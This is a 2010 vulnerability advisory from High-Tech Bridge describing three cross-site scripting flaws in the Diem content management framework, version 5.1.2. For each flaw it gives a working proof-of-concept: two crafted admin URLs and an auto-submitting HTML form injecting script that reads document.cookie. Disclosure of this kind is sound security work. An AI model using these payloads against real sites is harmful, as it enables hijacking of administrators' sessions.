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Cross-site Scripting (XSS) Vulnerabilities in Diem

Advisory ID:HTB22458
Product:Diem
Vendor:Diem team
Vulnerable Versions:5.1.2 and probably prior
Tested Version:5.1.2
Advisory Publication:June 29, 2010 [without technical details]
Vendor Notification:June 29, 2010
Public Disclosure:July 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered three vulnerabilities in Diem which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Diem
1.1 The vulnerability exists due to input sanitation error in the "value" parameter in page metas managing script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin.php/seo/pages/manage-pages/editField?dm_cpi=0&dm_xhr=1&value=t itle"><script>alert( document.cookie)<%2Fscript>&id=&page_id=1&field=title
1.2 The vulnerability exists due to input sanitation error in the "text" parameter in dmCore script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin.php/+/dmCore/markdown?dm_cpi=0&dm_xhr=1&text=title"><script>al ert(document.cookie) <%2Fscript>
1.3 The vulnerability exists due to input sanitation error in the "article_form_filter[name][text]" parameter in the blog items filter module. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin.php/content/blog/articles/filter" name="main" >
<input type="hidden" name="article_form_filter[name][text]" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="article_form_filter[is_active]" value="" />
<input type="hidden" name="article_form_filter[text][text]" value="" />
<input type="hidden" name="article_form_filter[created_by]" value="" />
<input type="hidden" name="article_form_filter[created_at]" value="" />
<input type="hidden" name="article_form_filter[updated_at]" value="" />
</form>
<script>
document.main.submit();
</script>


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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22458 - https://www.htbridge.com/advisory/HTB22458 - Cross-site Scripting (XSS) Vulnerabilities in Diem
[2] Diem - diem-project.org – Diem is an open source content management framework designed to build not so simple websites.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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